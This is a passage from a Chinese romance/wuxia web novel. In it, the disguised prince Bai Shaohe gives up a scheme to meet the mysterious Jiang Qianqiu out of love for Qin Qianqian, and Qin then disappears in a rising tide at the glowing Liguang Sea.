“你把她转过来，我把药给她涂上。”王老怪觉得，趁出去倒血水的桃花花回来之前，自己是要说些什么，改变一下现在的局面的。
白邵禾理智还是在的，他左手揽住秦千千的左胳膊，右手一直虚搭在她腰间，完全没给她逃跑的可能性。把人翻了个面后，还不小心看到了她幽怨的眼神。
“王老怪，你敢过来我就踢死你！”上半身被束缚着，那她就扑腾起脚，可腿上也有伤口，一扯动，就把她痛的龇牙咧嘴的。
王老怪无奈地朝她耸耸肩：“老实点，这个涂两次就好了。”他上前给秦千千涂药，知道她没有那么不识好歹，肯定不会动脚踢自己。
可秦千千完全不配合，王老怪往左伸手，她的脸就往右扭。就这么两个来回下来，白邵禾实在是忍无可忍，他抬起一只手，掐住了秦千千的下巴。
“快些涂药吧。”
好不容易把药涂完，白邵禾慢慢松开手，还没从她身后撤离，秦千千却脚一软差点跌倒。
一歪，又歪到了他怀里。
白邵禾和王老怪都是一惊，秦千千扶着他的胳膊站直，白了王老怪一眼。
“放心，晕也是被臭晕的。”说完，她就转身出了门。这药膏实在太难闻了，她得出去散散味儿。
大风凌冽，却吹得秦千千很是舒服，她席地而坐，闭眼坐在山崖前。白邵禾看着她站的地方，正是那天他心绪混乱的时候，跟元德一同站立的地方。
他拿着一件披风，朝她走了过去。
“还在生我的气吗？”离她还有些距离，白邵禾就沉声开口。秦千千听着脚步声靠近，才缓缓睁开眼睛。
只不过没有看向眼前，而是转头看着白邵禾。
“有人夸过你的声音很好听吗？”秦千千顾左右而言他其它，这话听得他愣了一下。
“没有。”他弯腰把披风给她披
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上，这才坐在她身边。
秦千千面带微笑地说：“你的声音很好听，好听到我一听见你说话，就不生气了。”
万万没想到是这个回答，白邵禾不经意间挑了下左侧眉尾，秦千千看他这表情，就知道自己这是糊弄过去了。
刚刚她是在深思段沙和冉喜民的事情，她总觉得，哪里不对。没想出个所以然，因此她就没有跟白邵禾提起这事儿。
“以后这种事情，还是留给我们去做吧。哪怕晏信走了，我们剩下三个会武功的人，但做这些事情也是绰绰有余的。”
白邵禾故意提及晏信，他现在很是好奇她对这人的态度。
虽说之前她承认是自己把他劝走的，可她常常盯着手镯发呆，这也是白邵禾亲眼看到数次的事实。
果然，秦千千听到那个名字，脸上的表情停滞了一瞬间。
她眼神扫了一眼左手，这才开口意味深长地说：“晏信……，他留在这里也帮不上什么忙，还是走了的好。不过你说的事情，我答应你。”
向来擅长洞悉人心的白邵禾，突然看不出来，她的内心想法了。他不愿意相信，秦千千的那个说法——怕让晏信惹上杀身之祸。
既然是这个样子，那为何不直接义正言辞地驱逐他，反而要完成他的一个愿望，实打实地跟他拜堂。
秦千千似乎看透了他的想法，“现在也没有别的事情，那就让我来劝劝你吧。浪迹江湖的确是个很好的决定，可跟我在一起……”
白邵禾面色凝重，他不知道怎么突然聊起了这个话题，她难不成想靠谈话，也把自己谈走？
“千千，我知道我在做什么。而且我不是晏信，我没有那么大的责任要去负责。”他斩钉截铁地打断了她。
她突然心悸，一脸痛苦地捂住自己的心口，垂在身侧的左手撑住地面，这才没有直接向前倒去。
白邵禾赶忙侧头，问她怎么了？她缓了几口气，才摇头表示自己没什么。
“或许是被你的话气的吧。”她顶着骤然苍白的脸，还在跟白邵禾开玩笑。
白邵禾笑不出来，他要扶她起来，却被秦千千拉住了胳膊。
“若是我说，我能帮你做到你梦寐以求的一件事，你愿意听我的劝告吗？”她表情认真，完全不是开玩笑的样子。
电光火石之间，白邵禾来不及收敛自己的表情，脑中绷的最紧的那根弦突然崩裂，这不就是他的最终目的吗？
抓住这个机会，让她给自己引荐姜千秋。
白邵禾觉得，这压根没什么好想的。
“我不明白，你把我们这些人都往外推，你究竟要做什么？”他那泰山崩于前而不改色的脸上，终于浮现出一抹疑惑。
白邵禾疑惑这个问题，也疑惑自己为什么要问这个问题。
秦千千低眉苦笑，脸上泛起一阵无奈：“奔向属于我的宿命，走到我人生的终点。”
以她在江湖上一人之下、万人之上的地位，还有她的七窍玲珑心，处理事情游刃有余的谋略，白邵禾不明白，她为什么非要咬死，这趟旅程会要了她的命。
“我怎么可能会杀你？我不杀你，谁又敢杀你。”白邵禾在心中呢喃，却想不出个所以然。
78. 与最好的机会失之交臂
看他良久没有说话，秦千千就又复述一遍，那个充满诱惑力的条件：“你若是有什么心愿，我可以帮你实现，不管有多难。”
白邵禾望着她的眼睛，这才发现她现在的眼神锐利又深邃，似乎能看清自己心底的秘密。
这般漠然又内敛深意的样子，才是她平时在清风酒楼的常态吧？
他心思飞远，突然很想见一见那个运筹帷幄的秦老板。至于眼前这个千载难逢的机会……
“不许再提死的事情，这就是我的心愿。”他微微眯眼，第一次抛弃所有运筹帷幄，说出了内心最想说的话。
她的眼睛，似乎有种让人倾诉真话的欲望。
白邵禾不愿意再思索什么最终目的。他总觉得，自己若是拿这次机会，去换跟姜千秋见面的话，总有一些事情会发生，一些无可逆转的事情……
可没想到，秦千千听到这话，眼神中竟闪过一丝惋惜。
“你再好好想想吧。”
“没什么好想的。”白邵禾皱眉拒绝。
“你说的，我做不到。”
只那一瞬，她眼眶微湿。在眼泪掉落前，她睫毛颤动，索性闭上了眼睛，白邵禾这才有机会光明正大地盯着她。
哪怕没有看到她眼里的情绪，但他还是能感受到秦千千的悲伤。他也不愿意再为难她，“那这样吧，你告诉我，你为什么会觉得自己一定会出事呢？是谁要杀了你。”
秦千千再度睁开眼，那些悲伤的神情荡然无存，取而代之的是如同往常一般的灵动欢快。白邵禾心中无奈，看来她又不准备跟自己说这个话题了。
“我要是知道谁要杀我的话，我肯定得先下手为强吧！算了，这个话题没意思，就让咱们今朝有酒今朝醉吧。到时候我身陷囹圄，还请你多保护我一些。”
白邵禾当即应允，这样也好，与其整日担惊受怕，那倒不如过一天算一天。
夕阳西垂，段沙赶在太阳落山前回来，桑风雪和元德那边也鸣金收兵。白邵禾听着逐渐热闹起来的村落，就知道所有人都回来了。
他先行起身，然后伸手扶起秦千千，两个人并肩朝茅屋走去。桑风雪和元德看到秦千千时，都大吃一惊。
虽说，伤口不似当时汩汩流血时的骇人，但桑风雪一眼就看得出，她脸上那两抹黑膏覆盖之下，一定是伤口。
再加上她一路被白邵禾搀扶着，却仍旧一瘸一拐的姿势，几乎就是明示了，她浑身上下都受了伤。
元德则是无声打量殿下，看到殿下毫发无伤后，心中这才长出一口气。
“伤的严重吗？”桑风雪放下手中茶碗，往秦千千那边走去，这话既是问秦千千，也是问白邵禾。
白邵禾难得犹豫了一下，这些伤放在别人身上，他可能觉得这伤不重。但放在秦千千身上，这伤真的是可大可小。
在他沉默的当口，秦千千自己摆手说没事。
“就是一些小擦伤而已，王老怪给我涂的这臭药，伤我更深。”
也就是在这时，桑风雪才明白那阵阵腐臭味儿是哪里来的，她尽量不动声色地后退一步。可这种动作，怎么能逃脱秦千千的法眼。
她气势汹汹地环顾四周，“王老怪在哪里，我要问他这药怎么去掉！”
独坐山崖的时候，秦千千试过揭下胳膊上的黑膏，可完全揭不下来。而且坐在山崖上少说一个时辰，她都被山风吹得冷到骨子里了，可那股臭味儿还是历久弥新、飘臭万里……
桑风雪回来的时候也奇怪，王老怪和桃花花都没在这里，不过没一会儿桃花花回来，跟她交代两声，取了王老怪的药袋子后就又走了。
“王老怪发现这里的人，多少都有点顽疾，所以带着桃花花帮她们治病去了。”桑风雪说完，白邵禾与秦千千都不约而同地点起了头。
这的确是最初带他的目的。灵川坡这种地方，王老怪独闯江湖的时候，不一定会来。可天下遍布需要救助之人，他跟着秦千千，的确能去一些之前完全不会去的地方。
月上三竿，王老怪和桃花花终于回来，两个人热闹地说着刚刚遇到的情况，其余的人都坐在篝火旁静静地听。
段沙带着族人过来感谢她们，基本上整个村落的人全都过来了。他们带着粥饭，以及山上仅剩的几坛子酒，看着虽然有些寒酸，但已经是段沙他们能拿出来最好的东西了。
“恩人，我们这次专程来给恩人道谢的。”段沙走在前面，朝白邵禾他们这边走来。
白邵禾他们起身来迎，桑风雪、桃花花还有王老怪，都有些受宠若惊。白邵禾和元德倒是处事不惊，这种场面，他们见得多了。
走到跟前，段沙才发现他的恩人并不在这里。
“唉！秦小姐去哪里了？”段沙虽然奔波一天，但极致的欣喜盖过了疲惫，他目光炯炯地望着白邵禾。
任谁都看得出来，秦千千这个小队，除了她，最能掌控局面的就是白邵禾了。
白邵禾抬眼望向不远处，秦千千被自己“流放”在远离人群的地方，段沙准备过去，却被他阻止。
“我去吧。”
请回秦千千，段沙身后的兄弟们，都神情有些不自然地耸了耸鼻子，白邵禾他们这些知道内情的人在憋笑，秦千千只能当做什么都不知道，跟段沙聊了起来。
段沙对此没有什么反应，他一脸感激地单膝跪地。秦千千赶紧去扶他，只不过忘记自己前后左右绑了四个披风，现在简直被禁锢着伸不出手。
那些兄弟们本来还都收着些声音，可一看她的朋友们，几乎全都前仰后合笑弯了腰。这下众人彻底不忍了，都放声大笑。
高冷如白邵禾，也禁不住笑了两声。
秦千千也无奈地嗤笑，好在终于伸出了手，她赶忙拉起段沙，“段沙，没必要这样，你快起来。”
段沙这人敞亮，不再推辞，直接拱手站了起来。“咱们快点把粥米给恩人热上，这几位都是救了我们命的大恩人。”
那边得令的人，也赶忙给她们一人盛了一碗米粥，段沙亲自给秦千千敬上一碗：“恩人，大恩不言谢，日后若是有需要我帮忙的，尽管开腔！”
一碗米粥，让他敬出了痛饮清酒的气势。
秦千千伸手接过陶碗，众人席地而坐，开始畅谈起之前的事情。在秦千千饭还没吃完的时候，段沙一挥手，就有几个人过来给她们敬酒
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白邵禾一直坐在秦千千身旁，知道她不饮酒，就直接伸手替她接过那碗酒。
“她不饮酒，我代劳吧。”
一旁的元德紧紧抿嘴，他发觉殿下真的是变化了很多。
之前殿下只喝三年的宫廷陈酿，少一个月，他都能喝出来。现在却能喝得下，这种连澄澈都做不到的浊酒……
果然，成大事者必不拘小节！
晚上一行人又庆祝到深夜，众人散去后，秦千千特意让段沙留了一下。段沙现在对她十分唯命是从，什么都没说，就跟她走到一旁。
刚刚人多，秦千千不好扫段沙以及那些村民的兴，可有些话她必须跟段沙说清楚。毕竟，自己先行借粮给他，已经是计划之外了。
可若是他因此耽于享乐，那自己这不就是纯亏了吗？
“段沙，你应该还记得你要攻下灵川坡吧？如今只算是暂时解决了温饱问题，我希望你可以有长久的规划。”秦千千就这么平铺直叙地说了自己的看法。
段沙咬紧牙关点头：“恩人放心，我绝对不会懈怠的。”
既然话都说到这里，段沙就索性告诉她当年的事情，那个只有他知道真相的事情。
当年四百多人跟他离开，冉喜民完全就是缩头乌龟做派，他一直派人去追杀，可自己完全不敢露头。
“他担心我带着那些人，跟他鱼死网破、同归于尽。可是他高估了那时的我……”
冉喜民对他的背叛、自己亲人的离世、以及手下原本出生入死的兄弟对他的不信任，击垮了段沙的自信。
他就那样漫无目的的带着本可以杀回去的兄弟，抱头鼠窜。得到消息说冉喜民放了这些兄弟的家眷，他甚至不确定要不要去接她们。
这听得秦千千万分不解，她不明白，他为何突然没了血性。被欺负后，居然不是反抗回去，而是一蹶不振？
“然后呢？什么转机让你成了现在的样子。”
自从认出他是段沙后，秦千千就很疑惑，这个人跟江湖传言对不上。两者有相似的地方，可归根结底也只有三成相似。
秦千千手中掌握的江湖传言，那可是跟本人不差分毫的，因此在他身上出现这么大的偏颇，就让她很是疑惑。
现在，她终于明白了。
“那时候出现了个女侠，也就是我们后来说的神仙，她跟我过了几招，几乎把我打了个半死。在我准备受死的时候，她却给我值了条明路，让我沿着那个方向上山。”
虽然没有把他打死，但也几乎是让他在鬼门关游荡了一圈。那时候段沙一心求死，可真切实经历了一场死亡，他才发现自己不甘心。
不甘心就这么死去，不甘心无法手刃仇人。
“所以我就用最后一口气，求苍天让我下辈子来这里报仇。”说到这里，段沙眼神晦暗，仿佛回到了那个未能云开见月明的夜晚。
那人居高临下地看着他，语气淡然却又掷地有声：“往东三十里，去到那里你还能活。”
姜千秋救回了三分的段沙，另外七分却被封印在他心中。
原因也很简单，他指望神来救他，于是就那么放弃了自己的努力。
79. 这是一场豪赌
怪不得，主人没有让她直接送粮给段沙。只不过她心底还是有些疑惑，勇气果敢也不能当饭吃吧？
自己不给他送粮，他们怎么有力气反打呢？
不过，当晚她收到苍鹰送来的信笺，给她解答了这个问题。
“总而言之，这事儿我是又做错了。”秦千千摩挲着自己手上的伤口，刚刚王老怪才教她怎么洗掉那黑膏。闲来无事，她就把前因后果全都告诉了他们。
而且或许是放松了警惕，她就这么毫无遮拦地说出了，主人为她答疑解惑的事情。
白邵禾现在心态已经有些古井无波了，毕竟白天才拒绝过那个机会，现在他只是很好奇，若是按照姜千秋原来的计划，段沙他们下一步要怎么办？
“可腹中无粮，又怎么去冲锋陷阵呢？”
秦千千向他投去赞许的目光，他和自己不愧是至交！白邵禾看出她眼中的赞赏，心中颇为愉悦。
“其实这里不止盘踞了他们两伙人。有些帮派就像是松鼠，他们弱小，但会囤积很多粮食。围剿这些人，会有很大的收获。”
说到这里，秦千千无可奈何地叹了口气，这种事情她是真的不知道。主人还是技高一筹啊，像这种事情，她不告诉自己，自己就只能完全两眼一抹黑。
桑风雪一直眉头紧锁，她不明白，秦千千怎么就突然如此开诚布公了？看来，晚些时候，自己要找机会跟她聊聊了。
“原来是这样……，可这是连你都不知道的消息，段沙也未必会知道的吧？”白邵禾此时的追问，只是想证明她做出的选择，也未必是错的。
在他看来，秦千千完全能独当一面了。若说在哪方面还需要再改进一些，白邵禾认为她跟段沙一样，都需要放弃对姜千秋的依赖。
听他这么说，秦千千盯着他良久没有说话。
她之前怎么没有发现，白邵禾简直跟她的想法完全一模一样。只可惜他不知道，主人从不出错。
秦千千只能遗憾地说：“我要说对灵川坡各大势力最了解的是段沙，你们是不是觉得很不可思议？”
冉喜民的个性使然，让他不愿意做任何盲进的计划。因此反而是段沙这边，对周围的了解要更加清楚。
也就是说，只要他想，他随时可以对那些人采取行动。
这下白邵禾也彻底沉默了，更别说其他人了。
桑风雪和王老怪，都跟秦千千一样，无条件觉得姜千秋正确。元德跟白邵禾同气连枝，自然也相当沉默了。
全场也就只有桃花花，看懂了秦千千的超长沉默。
“我不信主人只说了你不好，她哪次不是你做什么都会夸你的？”桃花花朝她耸了耸鼻子。
对比秦千千有赏有罚的处事方式，桃花花要更喜欢主人那种春风化雨般的待人方式。可惜，只有秦千千能跟主人沟通，自己也就是偶尔见主人一面，连话都说不上。
每次说起这事儿时，桃花花总是一副嗤之以鼻的态度，她不服，她非常不服。
被说中心事的秦千千，嘴角终于浮现一抹笑意，“这你算是说对了，主人只说这就是处理方法不同而已，我这种做法无可厚非，还夸我行事果断，有那么些许进步了呢！”
明知道这么说，桃花花会更生气，但秦千千就是不在乎。没什么能比获得主人的赞赏，更重要的了。
看着她一脸骄傲的样子，白邵禾眉眼弯弯地摇了摇头，这个姜千秋是会拿捏她的。
果然，能掌控笼罩整个天下的庞大组织，而且能毫无破绽地存在这么多年，姜千秋必然在用人识人上有过人的天赋的。
那边的秦千千话锋一转，长叹一口气：“不过主人说了，这的确是一场豪赌。要是输了的话，那我就……”
白邵禾想不出姜千秋的惩罚方式。听元德说，那百担粮食数量庞大，哪怕按最廉价的米来算，也价值不菲了。
难不成，让她把亏空补上？虽说这数百两银子，对清风酒楼来说不算什么，但对于她赚的那仨瓜俩枣来说，也要攒上个一年半载的吧？
“输了怎样？”桑风雪也很好奇，姜千秋会怎么要求她。桃花花在一旁也是期待的不得了。
“输了……，就让我吃一堑长一智，用别的生意把这些钱赚回来。”
桃花花无语地“嘁”了一声，没意思，这算是什么惩罚！看她这么失望，秦千千白了她一眼。
这臭丫头，天天想着让自己挨骂是吧！
白邵禾饶有兴致地看她俩斗嘴，心中却在想，看来姜千秋还是很看重秦千千的，不愧是唯一能联系上姜千秋的人。
不过他压根没想到，平时鲁莽冲动的桃花花，口风也如此严谨。若不是今天秦千千直接坦白姜千秋的事情，她一定不会说起姜千秋。
相比之下，那秦千千的坦诚，就很值得考究了。难道说，她这是彻底信任自己，把自己当成自己人了吗？
谁知秦千千提议明天就离开，这里已经没什么要做的了，留在这里也是耽误时间。
王老怪一脸稀奇地问她：“你不想留在这里，在必要的时候帮一把段沙吗？”
有她在一旁出谋划策，段沙一定不会落败的吧？可她在这个时间段竟然要走？这是王老怪万万想不通的。
“是啊，若是接下来的旅途不急，那我们就可以在这里多停留几日。”白邵禾视线落在她的伤口上，停留在这里，她还能静养一下伤口。
秦千千释然地摇摇头，“因果强求不来，他想怎么做就怎么做吧。”
这话听起来倒是有些得道的释然，白邵禾清楚，秦千千不是这样的人，她会尽最大的努力去帮助别人。因此，这话或许是姜千秋教给她的话。
而在启程三日后，他的这个想法得到了秦千千的印证。
一次闲谈中，秦千千聊起接下来要去的地方，据说是世间少见的壮丽景色。
“主人不找个绝美景色，怎么能把我吸引走？不然，我一定要留在灵川坡的。”
桑风雪问她，接下来要去哪里，“你也算是博览万物了，什
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么能这么吸引你呢？”
说起这个，秦千千来了兴致。
原本匆忙赶路，舟车劳顿加上没有很好的条件处理伤口，让她身上的伤口有些发炎。这几天她时不时会发烧，也就是今天精气神好了那么一些，她就给她们讲起那个地方。
那个地方叫璃光海，还有一个更美的名字，叫星辉梦泽。据说那个地方白天就是碧水一色、苍茫壮阔。可一到晚上，万籁俱寂的时候，海面上会随波涛荡漾起碧蓝色的光影。
“主人说，她第一次到那个地方的时候，被惊讶的完全说不出话来。她在海边呆坐了一晚上，在那里停留了三天才离开。”
【壮丽绝妙，此生难忘】
光是这个描述，就让秦千千十分想一睹璃光海的风采。
众人也听呆了，一个二个的都在自己的想象中徜徉。
白邵禾完全没有听说过这种地方，他也隐隐好奇起来。而且他不由得在脑海中想象，姜千秋一人独行江湖的时候，遇到那种瑰丽的景色，那三天她都在想些什么呢？
会是想要为这种美好，停留下脚步吗？
生于天家，白邵禾自小想要什么，都是唾手可得的。而拥有一些新奇东西，特别是那种转瞬即逝的东西后，他都迫切想要找到一个方法永存它。
如果不能，他就会多花时间在它身上，以求自己能牢牢记住它。
白邵禾十岁那年，北部进献了一只通体黑色、但每根尾羽根部都是火红绒毛的苍鹰。他特别喜欢，就整日陪着那火尾苍鹰，后来饲养不当，苍鹰还是死了。
从那时起，白邵禾就很愿意为自己喜欢的事情驻足，他认为这是人之常情。
当年废寝忘食地陪苍鹰，现如今放弃那个机会，陪秦千千走下去，在他看来都是一样的：
他的确喜欢秦千千。
护粮之行，他不忍心让秦千千受伤的那一瞬间，他就弄明白了自己的心事。因此他愿意以真心换真心，放弃诡计，放弃那近在咫尺的机会。
一定能找到不伤害她，又能让她引荐自己见姜千秋的办法的。
就这样，一向雷厉风行的白邵禾，决定推迟自己的计划，这个原因只有他自己知道。
因此他更不能理解姜千秋的做法，明明也会被某些事情吸引、为某些事情驻足，可又因为什么考量，要继续浪迹江湖，这么多年从未停止过呢？
“千千，你知道你的主人，她为什么一直居无定所的吗？既然那么喜欢这个地方，那为何不停驻在这里？”白邵禾有些厌倦了每句话都要谋划猜测，他想坦诚地跟秦千千相处，于是就这么直接地问了出来。
一旁的元德抿紧嘴唇，习惯性地替殿下紧张，但又觉得没有必要。毕竟殿下做什么都是有考量，绝对不会胡来的。
可他这次看错了白邵禾。
秦千千一脸困惑不解地说：“其实我也不明白。而且这个问题是我们清风酒楼的两大难题之一，这两个问题，主人不说，我们这些剩下的人，完全无从得知。”
80. 清风酒楼的两大难题
若是晏信还在这里的话，白邵禾猜他一定会问，“那另一个难题是什么”。可他不是晏信，而且他知道，秦千千对酒楼的事情向来都是讳莫如深的。
因此，他不打算追问。
他只若有所思地点头，不再言语。
身边的元德，虽然很想知道那个问题，但他也只能沉默，不敢追问。在这一刻，元德无比想念晏信。
“什么什么！我怎么不知道呢？”年轻版晏信——桃花花，晃了晃秦千千的手臂，让她别卖关子了。
秦千千失笑：“还能是什么，当然是咱们赚的钱都去哪里了呀。这也算是天底下经久不衰的谈资了吧，难不成你知道啊？”
桃花花哑然失声，这的确是个大问题，她们平时在酒楼也会聊。她也知道，秦千千虽然是老板，但她对钱财去向一无所知。
白邵禾原本以为秦千千像朝中的丞相，虽然无法自作主张，但对整个朝局的形式，还是了解的很透彻的。可他没想到，原来她这么不了解姜千秋……
一行人离开灵川山谷，向南走了四天。周遭越发热闹，这真是让所有人都很出乎意料。
秦千千完全没想到这里这么热闹，“我原本以为，主人喜欢的地方，会是幽深僻静、人迹罕至的地方……”
众人找了个客栈，这次她们没有在客栈吃饭，而是趁着时间还早，就一同出门，在这海风阵阵的街巷转转。
这趟海边之旅，原本是要在灵川坡就体验到的，结果那边段沙和冉喜民他们不太平，那她们就只能放弃去灵川坡，直接来了璃光海。
白邵禾提前布置在灵川坡的暗卫，就没了用武之地。元德左等右等等不来殿下的命令，就只能在启程第二天，硬着头皮去请示。
白邵禾想起秦千千说想要给穆轩岚说的话，再加上他现在真心实意想跟秦千千相处，就交代元德，吩咐那些人不许过来了。
“留在灵川坡，探探天海朝的虚实。”
只不过简则明带领的四人小队，已经先行一步来这里了，白邵禾想，也不至于让他们再回去。
“那就留下吧，只不过如非必要，那就不要再见面了。”
都说一方水土养一方人，这句话在这里得到了生动的体现。虽然这里离灵川山谷只有三四天的路程，可房屋制式、百姓穿着都两模两样。
在南梁朝的管辖中，山川湖海四个地貌，只有大海是南梁朝没有的。因此海货对于南梁朝的天家来说，比较稀罕。
这也就是为什么，天海朝会拿海珠进献给他们。
街市尽头就是苍茫壮阔的大海，落日的余晖映照在波光粼粼的水面上，橘红余晖洒在每个人的身上。
秦千千和桑风雪、桃花花在前面走着，她们停在一个小摊前，看着桌面上摆着琳琅满目的贝壳制品。
项链、手链、还有贝壳拼凑出各种形状的摆件。
秦千千和桃花花看得是格外认真，桑风雪时不时要被喊着选东西。白邵禾盯着远处的海面，不知不觉间就超过了她们三个。
“老板，这一串贝壳项链多少钱，你这里一共有几条？”
秦千千拿起一串贝壳，那长度跟和尚挂在脖子上的念珠差不多。色彩极为丰富，黄豆大小的个头，浑身散发出蓝绿色，是有别于碧玺那种盈透却呆板的颜色，看起来颜色十分梦幻。
那位头发花白的大娘笑着赞赏她：“眼光真好呦！这种叫彩虹螺，是我们这里的特产呦！你看，我们这里的女人，每人都有一条的呦。这个十文钱一串，其实也很便宜的嘞！”
听着这大娘独特的说话方式，秦千千笑得十分开心，这贝壳的确好看的很。于是她不再讲价，便说她买了。
“那你给我拿七条吧，桑姐姐，你帮我付一下钱。”
白邵禾虽然沉溺在绮丽风景中，但还是骤然回了神。
七条？她还要给晏信带一条吗？
听到这里白邵禾不再沉溺于景色，而是转身朝秦千千走去。谁知秦千千也朝他走来，笑意盈盈地让他低头。
原来，第一条项链是给自己的。
秦千千把手中绚丽无比的项链举起来，白邵禾相当配合地低下了头，项链挂在脖子上后，她手拍拍白邵禾的肩膀，示意他抬头。
“好看！”
两个人各自被落日照亮半边身子，那暖阳衬得她眼神格外温柔，嘴角的笑意也看得白邵禾心里无比惬意。
“嗯，好看。”
他目光灼灼地看着秦千千，秦千千眯了眯眼，回答也是出乎他所料。
“嘁，你看都不看就说好看啊！”
白邵禾也算是发现了，自从在段沙那里她对自己开诚布公后，她就跟自己更为熟络了。
就比如现在，她会佯装生气或者厌恶，跟自己开玩笑了。
他对此十分受用。
“嗯，我没在说它好看，我在说你。”说完，他满眼笑意地看着秦千千，生怕错过她脸上一分一毫的表情。
她先是惊讶到呆滞，而后突然害羞地移开眼神，小声埋怨他，“在胡说些什么！”
跟在后面采买贝类入药的王老怪，以及帮他拿东西的元德这才缓缓赶来，他们两个每人都左背右提地，拿了很重的东西。
“买什么在这儿？”王老怪把东西放在地上，气喘吁吁地问她们。
秦千千刚好找到借口离开，就忙不迭地跑去跟王老怪说话，白邵禾忍俊不禁地低头浅笑，顺便看着脖子上的小贝壳。
“不是，咱们就在这里待不了几天，你买这么多，到时候你自己扛走啊！”说着，她朝元德摆手，“元德，别帮他，让他自己扛。”
王老怪翻了个大大的白眼，唯恐秦千千看不到一样。桑风雪为了缓和气氛，就把那两串项链递给秦千千。
秦千千也没什么好脾气，直接把其中一条塞给王老怪，让她给自己戴上。至于元德那一条，她亲手给他挂上。
元德感恩地点头示意，一旁的王老怪非常不识好歹地不准备戴，在被秦千千踢了一脚后，只得老实挂脖子上。
后面她们还想去别处看看，王老怪这个素来喜欢凑热闹的人，却说不去了，他要回客栈收拾这些贝壳。秦千千由他去了，他要是处理不完，下次启程他还得背上。
剩下的人在街巷逛到海面吃了太阳，凉意逐渐攀升的时候，才发觉每个人都饥肠辘辘了。
可白邵禾根本看不住秦千千，她今天格外活泼。众人坐在街边面摊等饭时，秦千千又在不远处游荡了两
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个来回。
摊主给他们上鱼汤面的时候，桑风雪唤她回来。秦千千往回走的路上，却又被一个扛着架子售卖小玩意儿的人绊住了脚。
与刚刚的小贝壳不同，这次那人卖的都是巴掌大小的贝壳。秦千千一脸兴奋地给他们打手势，问她们要不要买？
桑风雪和桃花花连忙摇头，只有一直微笑看着她的白邵禾，不忍拂了她的面子，便点了点头。
就这样，秦千千一手拿着一个大贝壳跑了回来。
“来来来，老板说这个贝壳扣在耳朵上，可以听到海浪翻涌的声音。而且，情投意合的人，还能通过这个听到心上人说话呢。”秦千千笑着把一个递给白邵禾。“你们两个就惨了，没机会跟我说话了。”
她嫌弃地瞥了桑风雪和桃花花，若说桑风雪眼中的情绪还算收敛，那桃花花就差把骂人的话写到脸上了。
白邵禾默不作声地接过，还一本正经地端详起那个莹白的贝壳。等她坐下后，就把不远处的面往她那边推了推。
“快些吃饭吧。”
海边的夜间很冷，最起码饭没吃完的时候，桃花花已经被冻得发抖了。可偏偏秦千千吃的慢吞吞的，现在还没吃完一半。
“千千，你能不能行！快点吃完咱们赶紧回去嘛！”桃花花边跺脚边催促她。
秦千千也觉得冤枉，“我是真不会吃鱼，所以这不得慢慢来，被鱼刺卡到怎么办？要不这样吧，你们先回去，我认得回去的路。”
“我在这里陪你。”白邵禾当即开口，没有丝毫犹豫。
就这样，桑风雪带着桃花花先回去了。白邵禾坐着也是百无聊赖，他便把玩起那个大贝壳。
没想到贝壳扣在耳朵上，果然能听到风云翻动的声音。
看她一脸惊讶，秦千千愉悦地用手敲敲桌子：“看吧，是真的能听到。对了，待会儿咱们去海边逛一圈吧。璃光海，今天就可以看到。”
剩下的人，明天再看也行。秦千千就这么愉快地决定了，白邵禾自然她做什么都依着她。
若不是亲眼看到，白邵禾不会相信这个奇观的。
平静的海面是深蓝色，可只要有波动的地方，那就会发出莹蓝色的光芒，奇妙，却又转瞬即逝。目光所及之处，都是这种时不时闪亮的光芒。
在他们来之前，海边已经聚集了不少的人了。她们都在这里戏水，结伴游玩。
也就是这个时候，白邵禾才发现：人手波动水面，也会让水波发光。
秦千千原本是有些怕这深蓝的海水的，可看到别人在那里玩得那么开心，她就十分跃跃欲试了。
看她表情痴迷，不等她开口，白邵禾就提议两个人去海里踩水。
被说中心事的秦千千，高兴地点头，她甚至都没扭头看他，全神贯注跟着了迷一样盯着那发光的海面。
果然，靠近海水后，每次落脚脚下都会闪出亮光。秦千千撩起一些裙边，直接走到了及膝深的海水。
白邵禾弯腰用手撩起些许海水，看着那宛如神迹的光亮，心中赞叹不已。那边的秦千千捧起一抔水，用力洒向天空。
星星点点的亮光，就像是天上的星星。
果然，星辉梦泽这个名字，的确没有瞎叫。
81. 传音贝壳，真的奏效了
两个人在海水中嬉闹一会儿，刺骨的海水就把两个人冻上岸了。主要还是秦千千感觉太冷了，而且周遭的人也没那么多，让她置身于漆黑的大海前，她有些害怕了。
“怪不得主人喜欢这个地方，我也好喜欢这里。希望咱们的朝廷把天海朝拿下，这样我就说服主人，在这里开个酒楼。”秦千千一个劲儿地畅想。
“然后你要让她派你来这里？”看透她的想法，白邵禾笑着打趣她。“到时候把我招去做个店小二吧。”
秦千千失笑，拿起贝壳，用那个孔洞对准自己的嘴，不知道说了些什么。然后她扶着白邵禾的手，让他用他那个贝壳，听听自己说了什么。
白邵禾一脸震惊：“我要听错的话，你不会砸了我的贝壳吧？”
“哈哈，你听听试试呗！”
他像模像样地把贝壳扣在自己耳边，一脸深沉地不言语。
不知过了多久，久到秦千千的注意力又被璃光海吸引走，呆呆望着海面的时候，白邵禾清了清嗓子。
“你刚刚说的是，‘穆轩岚真是蠢笨不堪啊！’，我猜对了吗？”说罢，他挑了下眉尾。
秦千千震惊的差点没站稳，慌乱中扶住他的胳膊，这才站直身体。而后她瞪大眼睛问他怎么知道的。
“总不能真的是听到的吧？”
“嗯，我听到的。”他顺水推舟地逗她。
秦千千眨巴着眼睛，嘴里嘟囔着不可能，可眼神却紧盯着自己手中的贝壳。
传音贝壳，真的奏效了！
或许是被冷冽的海风吹傻了，秦千千着急忙慌地让他给自己说一段话，她要跑到远处听听看。白邵禾甘愿陪着她闹，还专门往后走了两步。
两个人同时往远离对方的方向后退，秦千千踩到海水的时候，她朝白邵禾挥了挥胳膊，示意他可以说了。
白邵禾心头莫名涌上一股悲伤，看着眼前兴致勃勃的人，他对着贝壳说了实话。
“千千，我就是穆轩岚，那个蠢钝不堪的人。可来日你若是知道这个事情，能不能原谅我的所作所为？”
说到这里，他心痛不堪地闭上眼睛。
就在这时，三五个东倒西歪的醉汉，不小心撞到了他，他手中的贝壳也失手飞了出去。他还没来得及发脾气，却心中一紧看向海边。
秦千千果然不见了。
他捡起贝壳，往前面跑去，海边本就没有多少人了。他只是不愿意承认，秦千千真的不在海边了。
走到前面，他才发现海水在肆意飞速地上涨，原本秦千千站的位置，早就被前赴后继的海浪淹没。白邵禾不顾旁人劝阻，跑到那个位置时，才发现水深已经及腰了。
不止旁人在呼唤他，海浪也在把他往岸边推。
白邵禾浑身血液倒流，意识到秦千千失踪的一瞬间让他双耳嗡鸣，站在原地不知所措。被海浪推拒到人群边时，有人跟他攀谈，问他是不是要找朋友？
